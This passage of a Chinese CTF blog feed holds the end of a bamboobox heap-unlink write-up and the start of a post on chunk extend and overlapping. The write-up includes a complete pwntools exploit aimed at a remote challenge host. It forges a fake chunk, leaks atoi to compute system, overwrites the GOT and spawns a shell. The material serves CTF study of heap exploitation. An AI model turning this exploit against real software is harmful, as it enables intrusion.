{<br> <span class="hljs-keyword">if</span> ( *((_QWORD *)&unk_6020C8 + <span class="hljs-number">2</span> * i) )<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%d : %s"</span>, i, *((<span class="hljs-type">const</span> <span class="hljs-type">char</span> **)&unk_6020C8 + <span class="hljs-number">2</span> * i));<br> }<br> <span class="hljs-keyword">return</span> <span class="hljs-built_in">puts</span>(byte_401089);<br>}<br></code></pre></td></tr></table></figure><ol><li>这里存在offbyone,但对于考察unlink的题目一般不会利用;</li><li><code>&unk_6020c8</code>位于bss节,是items的基址</li></ol><p>add_item:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><code class="hljs c">__int64 <span class="hljs-title function_">add_item</span><span class="hljs-params">()</span><br>{<br> <span class="hljs-type">int</span> i; <span class="hljs-comment">// [rsp+4h] [rbp-1Ch]</span><br> <span class="hljs-type">int</span> v2; <span class="hljs-comment">// [rsp+8h] [rbp-18h]</span><br> <span class="hljs-type">char</span> buf[<span class="hljs-number">8</span>]; <span class="hljs-comment">// [rsp+10h] [rbp-10h] BYREF</span><br> <span class="hljs-type">unsigned</span> __int64 v4; <span class="hljs-comment">// [rsp+18h] [rbp-8h]</span><br><br> v4 = __readfsqword(<span class="hljs-number">0x28u</span>);<br> <span class="hljs-keyword">if</span> ( num > <span class="hljs-number">99</span> )<br> {<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"the box is full"</span>);<br> }<br> <span class="hljs-keyword">else</span><br> {<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Please enter the length of item name:"</span>);<br> read(<span class="hljs-number">0</span>, buf, <span class="hljs-number">8u</span>);<br> v2 = atoi(buf);<br> <span class="hljs-keyword">if</span> ( !v2 )<br> {<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"invaild length"</span>);<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br> }<br> <span class="hljs-keyword">for</span> ( i = <span class="hljs-number">0</span>; i <= <span class="hljs-number">99</span>; ++i )<br> {<br> <span class="hljs-keyword">if</span> ( !*((_QWORD *)&unk_6020C8 + <span class="hljs-number">2</span> * i) )<br> {<br> *((_DWORD *)&itemlist + <span class="hljs-number">4</span> * i) = v2;<br> *((_QWORD *)&unk_6020C8 + <span class="hljs-number">2</span> * i) = <span class="hljs-built_in">malloc</span>(v2);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Please enter the name of item:"</span>);<br> *(_BYTE *)(*((_QWORD *)&unk_6020C8 + <span class="hljs-number">2</span> * i) + (<span class="hljs-type">int</span>)read(<span class="hljs-number">0</span>, *((<span class="hljs-type">void</span> **)&unk_6020C8 + <span class="hljs-number">2</span> * i), v2)) = <span class="hljs-number">0</span>;<br> ++num;<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br> }<br> }<br> }<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure><p>add_item函数中,先输入一个长度v2,然后遍历bss中的空间(基址为0x6020c8),如果有空,则申请一块v2大小的chunk(这里所说的chunk大小不包括chunk头),将其地址写入bss。再输入一个字符串,将前v2个字节作为item名称写到chunk中。line 30的read函数返回实际读取的字节数,加上该字符串基址就是字符串的末尾,结尾置0表示字符串结束;</p><p>change_item:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">unsigned</span> __int64 <span class="hljs-title function_">change_item</span><span class="hljs-params">()</span><br>{<br> <span class="hljs-type">int</span> v1; <span class="hljs-comment">// [rsp+4h] [rbp-2Ch]</span><br> <span class="hljs-type">int</span> v2; <span class="hljs-comment">// [rsp+8h] [rbp-28h]</span><br> <span class="hljs-type">char</span> buf[<span class="hljs-number">16</span>]; <span class="hljs-comment">// [rsp+10h] [rbp-20h] BYREF</span><br> <span class="hljs-type">char</span> nptr[<span class="hljs-number">8</span>]; <span class="hljs-comment">// [rsp+20h] [rbp-10h] BYREF</span><br> <span class="hljs-type">unsigned</span> __int64 v5; <span class="hljs-comment">// [rsp+28h] [rbp-8h]</span><br><br> v5 = __readfsqword(<span class="hljs-number">0x28u</span>);<br> <span class="hljs-keyword">if</span> ( num )<br> {<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Please enter the index of item:"</span>);<br> read(<span class="hljs-number">0</span>, buf, <span class="hljs-number">8u</span>);<br> v1 = atoi(buf);<br> <span class="hljs-keyword">if</span> ( *((_QWORD *)&unk_6020C8 + <span class="hljs-number">2</span> * v1) )<br> {<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Please enter the length of item name:"</span>);<br> read(<span class="hljs-number">0</span>, nptr, <span class="hljs-number">8u</span>);<br> v2 = atoi(nptr);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Please enter the new name of the item:"</span>);<br> *(_BYTE *)(*((_QWORD *)&unk_6020C8 + <span class="hljs-number">2</span> * v1) + (<span class="hljs-type">int</span>)read(<span class="hljs-number">0</span>, *((<span class="hljs-type">void</span> **)&unk_6020C8 + <span class="hljs-number">2</span> * v1), v2)) = <span class="hljs-number">0</span>;<br> }<br> <span class="hljs-keyword">else</span><br> {<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"invaild index"</span>);<br> }<br> }<br> <span class="hljs-keyword">else</span><br> {<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"No item in the box"</span>);<br> }<br> <span class="hljs-keyword">return</span> __readfsqword(<span class="hljs-number">0x28u</span>) ^ v5;<br>}<br></code></pre></td></tr></table></figure><p>change_item函数负责给编号为v1的item改名,方法和add_item中完全一致。这也是堆溢出所在,因为我们输入的length如果超过该chunk的大小,就可以溢出到其他chunk中;</p><p>remove_item:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><code class="hljs bash">unsigned __int64 <span class="hljs-function"><span class="hljs-title">remove_item</span></span>()<br>{<br> int v1; // [rsp+Ch] [rbp-14h]<br> char buf[8]; // [rsp+10h] [rbp-10h] BYREF<br> unsigned __int64 v3; // [rsp+18h] [rbp-8h]<br><br> v3 = __readfsqword(0x28u);<br> <span class="hljs-keyword">if</span> ( num )<br> {<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Please enter the index of item:"</span>);<br> <span class="hljs-built_in">read</span>(0, buf, 8u);<br> v1 = atoi(buf);<br> <span class="hljs-keyword">if</span> ( *((_QWORD *)&unk_6020C8 + <span class="hljs-number">2</span> * v1) )<br> {<br> free(*((void **)&unk_6020C8 + <span class="hljs-number">2</span> * v1));<br> *((_QWORD *)&unk_6020C8 + <span class="hljs-number">2</span> * v1) = <span class="hljs-number">0</span>;<br> *((_DWORD *)&itemlist + <span class="hljs-number">4</span> * v1) = <span class="hljs-number">0</span>;<br> puts("remove successful!!");<br> --num;<br> }<br> else<br> {<br> puts("invaild index");<br> }<br> }<br> else<br> {<br> puts("No item in the box");<br> }<br> return __readfsqword(<span class="hljs-number">0</span>x28u) ^ v3;<br>}<br></code></pre></td></tr></table></figure><p>这个函数中存在free()功能。</p><p>之后按照如下思路:</p><ol><li>堆布局</li><li>伪造 fake chunk</li><li>fd/bk = ptr-0x18/ptr-0x10</li><li>修改 next chunk 的 prev_size/size</li><li>unlink 写全局指针</li><li>写 GOT 表项</li><li>先 leak 后 getshell</li></ol><blockquote><p>给一下自己的一些辅助学习方法:</p><p>Unlink过程</p><ol><li>FD = 0x2000 (fake_chunk.fd)</li><li>BK = 0x2008 (fake_chunk.bk)</li><li>FD->bk = BK → *(0x2000 + 0x18 = 0x2018) = 0x2008</li><li>BK->fd = FD → *(0x2008 + 0x10 = 0x2018) = 0x2000</li><li>最终: 0x2018 = 0x2000 (itemlist[0]被修改)</li></ol></blockquote><p><img src="/images/hitcontraining-unlink/1.png"></p><h4 id="EXP"><a href="#EXP" class="headerlink" title="EXP"></a>EXP</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-comment"># -*- coding: utf-8 -*-</span><br><br><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><span class="hljs-keyword">from</span> LibcSearcher <span class="hljs-keyword">import</span> LibcSearcher<br><span class="hljs-keyword">from</span> time <span class="hljs-keyword">import</span> sleep<br><span class="hljs-keyword">import</span> sys<br>context.arch = <span class="hljs-string">'amd64'</span><br>context.log_level = <span class="hljs-string">"debug"</span><br><br><br><span class="hljs-comment"># io = process("./bamboobox")</span><br>io = remote(<span class="hljs-string">'node5.buuoj.cn'</span>, <span class="hljs-number">29958</span>)<br><br>elf = ELF(<span class="hljs-string">"./bamboobox"</span>)<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">DEBUG</span>():<br> raw_input(<span class="hljs-string">"DEBUG: "</span>)<br> gdb.attach(io)<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">show</span>():<br> io.sendlineafter(<span class="hljs-string">b":"</span>, <span class="hljs-string">b"1"</span>)<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">add</span>(<span class="hljs-params">length, name</span>):<br> io.sendlineafter(<span class="hljs-string">b":"</span>, <span class="hljs-string">b"2"</span>)<br> io.sendlineafter(<span class="hljs-string">b":"</span>, <span class="hljs-built_in">str</span>(length).encode())<br> io.sendafter(<span class="hljs-string">b":"</span>, name)<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">change</span>(<span class="hljs-params">idx, length, name</span>):<br> io.sendlineafter(<span class="hljs-string">b":"</span>, <span class="hljs-string">b"3"</span>)<br> io.sendlineafter(<span class="hljs-string">b":"</span>, <span class="hljs-built_in">str</span>(idx).encode())<br> io.sendlineafter(<span class="hljs-string">b":"</span>, <span class="hljs-built_in">str</span>(length).encode())<br> io.sendafter(<span class="hljs-string">b":"</span>, name)<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">remove</span>(<span class="hljs-params">idx</span>):<br> io.sendlineafter(<span class="hljs-string">b":"</span>, <span class="hljs-string">b"4"</span>)<br> io.sendlineafter(<span class="hljs-string">b":"</span>, <span class="hljs-built_in">str</span>(idx).encode())<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">exit</span>():<br> io.sendlineafter(<span class="hljs-string">b":"</span>, <span class="hljs-string">b"5"</span>)<br><br><span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:<br> add(<span class="hljs-number">0x40</span>, <span class="hljs-string">b'0'</span> * <span class="hljs-number">8</span>)<br> add(<span class="hljs-number">0x80</span>, <span class="hljs-string">b'1'</span> * <span class="hljs-number">8</span>)<br> add(<span class="hljs-number">0x40</span>, <span class="hljs-string">b'2'</span> * <span class="hljs-number">8</span>)<br> ptr = <span class="hljs-number">0x6020c8</span><br><br> fakeChunk = flat([<span class="hljs-number">0</span>, <span class="hljs-number">0x41</span>, ptr - <span class="hljs-number">0x18</span>, ptr - <span class="hljs-number">0x10</span>, cyclic(<span class="hljs-number">0x20</span>), <span class="hljs-number">0x40</span>, <span class="hljs-number">0x90</span>])<br> change(<span class="hljs-number">0</span>, <span class="hljs-number">0x80</span>, fakeChunk)<br> remove(<span class="hljs-number">1</span>)<br> payload = flat([<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0x40</span>, elf.got[<span class="hljs-string">'atoi'</span>]])<br> change(<span class="hljs-number">0</span>, <span class="hljs-number">0x80</span>, payload)<br> show()<br> <br> <span class="hljs-comment"># 泄露atoi地址</span><br> atoi_addr = u64(io.recvuntil(<span class="hljs-string">b"\x7f"</span>)[-<span class="hljs-number">6</span>:].ljust(<span class="hljs-number">8</span>, <span class="hljs-string">b"\x00"</span>))<br> success(<span class="hljs-string">"atoi_addr -> {:#x}"</span>.<span class="hljs-built_in">format</span>(atoi_addr))<br> <br> <span class="hljs-comment"># 使用LibcSearcher查找libc版本</span><br> libc = LibcSearcher(<span class="hljs-string">'atoi'</span>, atoi_addr)<br> libc_base = atoi_addr - libc.dump(<span class="hljs-string">'atoi'</span>)<br> system_addr = libc_base + libc.dump(<span class="hljs-string">'system'</span>)<br> <br> success(<span class="hljs-string">"libc_base -> {:#x}"</span>.<span class="hljs-built_in">format</span>(libc_base))<br> success(<span class="hljs-string">"system_addr -> {:#x}"</span>.<span class="hljs-built_in">format</span>(system_addr))<br> <br> pause()<br><br> change(<span class="hljs-number">0</span>, <span class="hljs-number">0x8</span>, p64(system_addr))<br> io.sendline(<span class="hljs-string">b'$0'</span>)<br><br> io.interactive()<br> io.close()<br></code></pre></td></tr></table></figure><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><p>CTF-Wiki</p><ul><li><a href="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/#2014-hitcon-stkof">Unlink</a></li></ul></li><li><p>CSDN</p><ul><li><a href="https://hollk.blog.csdn.net/article/details/108481889?spm=1001.2014.3001.5502">好好说话之unlink</a></li><li><a href="https://blog.csdn.net/fzucaicai/article/details/129705468">堆溢出——unlink漏洞攻击(bamboobox)</a></li></ul></li><li><p>博客园</p><ul><li><a href="https://www.cnblogs.com/lordtianqiyi/articles/16345374.html">堆漏洞之unlink & 2014 HITCON stkof</a></li><li><a href="https://www.cnblogs.com/nemuzuki/p/17286811.html">堆块chunk介绍&堆溢出漏洞的unlink利用原理</a></li></ul></li><li><p>Blogs</p><ul><li><a href="https://iyheart.github.io/2024/10/11/CTFblog/PWN%E7%B3%BB%E5%88%97blog/Linux_pwn/2.%E5%A0%86%E7%B3%BB%E5%88%97/PWN%E5%A0%86unlink/">PWN堆unlink</a></li><li><a href="https://jimi-lab.github.io/2025/08/18/%E5%A0%86%E6%BA%A2%E5%87%BA%E5%88%A9%E7%94%A8%E6%89%8B%E6%B3%95/">堆溢出利用</a></li><li><a href="https://www.nan0in27.cn/p/%E5%A0%86%E6%BA%A2%E5%87%BAunlink%E6%BC%8F%E6%B4%9E%E6%94%BB%E5%87%BBbuu%E4%B8%BE%E4%BE%8B/">堆溢出——unlink漏洞攻击(buu举例)</a></li><li><a href="https://zicai.github.io/wooyun_articles/drops/%E5%A0%86%E6%BA%A2%E5%87%BA%E7%9A%84unlink%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95.html">堆溢出的unlink利用方法</a></li><li><a href="https://github.com/acama/acez.re/blob/main/CTF%20Writeup%20-%20HITCON%20CTF%202014%20stkof%20or%20the%20%22unexploitable%22%20heap%20overflow%20%3F.md">CTF Writeup - HITCON CTF 2014 stkof or the “unexploitable” heap overflow ?</a></li></ul></li><li><p>先知</p><ul><li><a href="https://xz.aliyun.com/news/5361">堆入门—unlink的理解和各种题型总结</a></li></ul></li><li><p>看雪</p><ul><li><a href="https://bbs.kanxue.com/thread-289464.htm">堆学习:Unlink attack</a></li></ul></li><li><p>Bilibili</p><ul><li><a href="https://www.bilibili.com/video/BV11q4y1E7E2?vd_source=03d433e8ec785208bc57517d4c340d73">【星盟安全】PWN系列教程 第20节 Unlink</a></li></ul></li></ul>]]></content>
<categories>
<category>Heap</category>
</categories>
<tags>
<tag>Pwn</tag>
<tag>堆</tag>
<tag>unlink</tag>
</tags>
</entry>
<entry>
<title>花与堆之Chunk Extend and Overlapping</title>
<link href="/2026/02/09/chunk-extend-overlapping/"/>
<url>/2026/02/09/chunk-extend-overlapping/</url>
<content type="html"><![CDATA[<h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><blockquote><p>chunk extend 是堆漏洞的一种常见利用手法,通过 extend 可以实现 chunk overlapping 的效果。这种利用方法需要以下的时机和条件:</p></blockquote><ul><li>程序中存在基于堆的漏洞</li><li>漏洞可以控制 chunk header 中的数据</li></ul><h2 id="ptmalloc对堆进行操作时使用的宏"><a href="#ptmalloc对堆进行操作时使用的宏" class="headerlink" title="ptmalloc对堆进行操作时使用的宏"></a>ptmalloc对堆进行操作时使用的宏</h2><p>chunk extend 技术能够产生的原因在于 ptmalloc 在对堆 chunk 进行操作时使用的各种宏; </p><p>在 ptmalloc 中,获取 chunk 块大小的操作如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-comment">/* Get size, ignoring use bits */</span><br><span class="hljs-meta">#<span class="hljs-keyword">define</span> chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS))</span><br><br><span class="hljs-comment">/* Like chunksize, but do not mask SIZE_BITS. */</span><br><span class="hljs-meta">#<span class="hljs-keyword">define</span> chunksize_nomask(p) ((p)->mchunk_size)</span><br></code></pre></td></tr></table></figure><p>即使用当前块指针加上当前块大小。 </p><p>在 ptmalloc 中,获取前一个 chunk 信息的操作如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-comment">/* Size of the chunk below P. Only valid if prev_inuse (P). */</span><br><span class="hljs-meta">#<span class="hljs-keyword">define</span> prev_size(p) ((p)->mchunk_prev_size)</span><br><br><span class="hljs-comment">/* Ptr to previous physical malloc_chunk. Only valid if prev_inuse (P). */</span><br><span class="hljs-meta">#<span class="hljs-keyword">define</span> prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p)))</span><br></code></pre></td></tr></table></figure><p>即通过 malloc_chunk->prev_size 获取前一块大小,然后使用本 chunk 地址减去所得大小。 </p><p>在 ptmalloc,判断当前 chunk 是否是 use 状态的操作如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-keyword">define</span> inuse(p)</span><br> ((((mchunkptr)(((<span class="hljs-type">char</span> *) (p)) + chunksize(p)))->mchunk_size) & PREV_INUSE)<br></code></pre></td></tr></table></figure><p>即查看下一 chunk 的 prev_inuse 域,而下一块地址又如我们前面所述是根据当前 chunk 的 size 计算得出的。</p><blockquote><p>具体为什么是这样以及更多操作详见 <a href="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/heap-structure/">CTF Wiki - 堆相关数据结构</a>。</p></blockquote><p>通过上面几个宏可以看出,ptmalloc 通过 <strong>chunk header 的数据判断 chunk 的使用情况和对 chunk 的前后块进行定位</strong>。简而言之,chunk extend 就是通过控制 size 和 pre_size 域来实现跨越块操作从而导致 overlapping 的。</p><h2 id="Example"><a href="#Example" class="headerlink" title="Example"></a>Example</h2><h3 id="基本示例-1:对-inuse-的-fastbin-进行-extend"><a href="#基本示例-1:对-inuse-的-fastbin-进行-extend" class="headerlink" title="基本示例 1:对 inuse 的 fastbin 进行 extend"></a>基本示例 1:对 inuse 的 fastbin 进行 extend</h3><ul><li>利用的效果是通过更改第一个块的大小来控制第二个块的内容。</li><li><strong>示例都是在 64 位的程序。如果想在 32 位下进行测试,可以把 8 字节偏移改为 4 字节</strong>。</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">(<span class="hljs-type">void</span>)</span><br>{<br> <span class="hljs-type">void</span> *ptr,*ptr1;<br><br> ptr=<span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<span class="hljs-comment">//分配第一个0x10的chunk</span><br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<span class="hljs-comment">//分配第二个0x10的chunk</span><br><br> *(<span class="hljs-type">long</span> <span class="hljs-type">long</span> *)((<span class="hljs-type">long</span> <span class="hljs-type">long</span>)ptr<span class="hljs-number">-0x8</span>)=<span class="hljs-number">0x41</span>;<span class="hljs-comment">// 修改第一个块的size域</span><br><br> <span class="hljs-built_in">free</span>(ptr);<br> ptr1=<span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x30</span>);<span class="hljs-comment">// 实现 extend,控制了第二个块的内容</span><br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure><p>我们进pwndbg中调试一下,观察“当两个 malloc 语句执行之后,堆的内存分布”、“代码中把 chunk1 的 size 域更改为 0x41”、“执行 free 之后,chunk2 与 chunk1 合成一个 0x40 大小的 chunk”和“通过 malloc(0x30) 得到 chunk1+chunk2 的块”;</p><blockquote><p>我分别在 <code>main+22</code> (第一个malloc返回处)、<code>main+36</code>(第二个malloc返回处)、<code>main+51</code>(把 chunk1 的 size 域更改为 0x41后返回处)、<code>main+58</code>(free前)、<code>main+63</code>(free后)和 <code>main+73</code>(通过 malloc(0x30) 得到 chunk1+chunk2 的块前)下断点。</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><code class="hljs bash">pwndbg> disassemble main<br>Dump of assembler code <span class="hljs-keyword">for</span> <span class="hljs-keyword">function</span> main:<br> 0x0000000000401156 <+0>: endbr64<br> 0x000000000040115a <+4>: push rbp<br> 0x000000000040115b <+5>: mov rbp,rsp<br> 0x000000000040115e <+8>: sub rsp,0x10<br> 0x0000000000401162 <+12>: mov edi,0x10<br> 0x0000000000401167 <+17>: call 0x401060 <malloc@plt><br> 0x000000000040116c <+22>: mov QWORD PTR [rbp-0x8],rax<br> 0x0000000000401170 <+26>: mov edi,0x10<br> 0x0000000000401175 <+31>: call 0x401060 <malloc@plt><br> 0x000000000040117a <+36>: mov rax,QWORD PTR [rbp-0x8]<br> 0x000000000040117e <+40>: sub rax,0x8<br> 0x0000000000401182 <+44>: mov QWORD PTR [rax],0x41<br> 0x0000000000401189 <+51>: mov rax,QWORD PTR [rbp-0x8]<br> 0x000000000040118d <+55>: mov rdi,rax<br> 0x0000000000401190 <+58>: call 0x401050 <free@plt><br> 0x0000000000401195 <+63>: mov edi,0x30<br> 0x000000000040119a <+68>: call 0x401060 <malloc@plt><br> 0x000000000040119f <+73>: mov QWORD PTR [rbp-0x10],rax<br> 0x00000000004011a3 <+77>: mov eax,0x0<br> 0x00000000004011a8 <+82>: leave<br> 0x00000000004011a9 <+83>: ret<br>End of assembler dump.<br>pwndbg> b *main+22<br>Breakpoint 1 at 0x40116c: file main.c, line 7.<br>pwndbg> b *main+36<br>Breakpoint 2 at 0x40117a: file main.c, line 10.<br>pwndbg> b *main+51<br>Breakpoint 3 at 0x401189: file main.c, line 12.<br>pwndbg> b *main+58<br>Breakpoint 4 at 0x401190: file main.c, line 12.<br>pwndbg> b *main+63<br>Breakpoint 5 at 0x401195: file main.c, line 13.<br>pwndbg> b *main+73<br>Breakpoint 6 at 0x40119f: file main.c, line 13.<br>pwndbg><br></code></pre></td></tr></table></figure><blockquote><p>其实我这里的多下了一个断点,所以我这里c了一次</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><code class="hljs bash">pwndbg> c<br>Continuing.<br><br>Breakpoint 2, main () at main.c:10<br>10 *(long long *)((long long)ptr-<span class="hljs-number">0</span>x8)=<span class="hljs-number">0</span>x41;// 修改第一个块的size域<br>LEGEND: STACK | HEAP | CODE | DATA | WX | 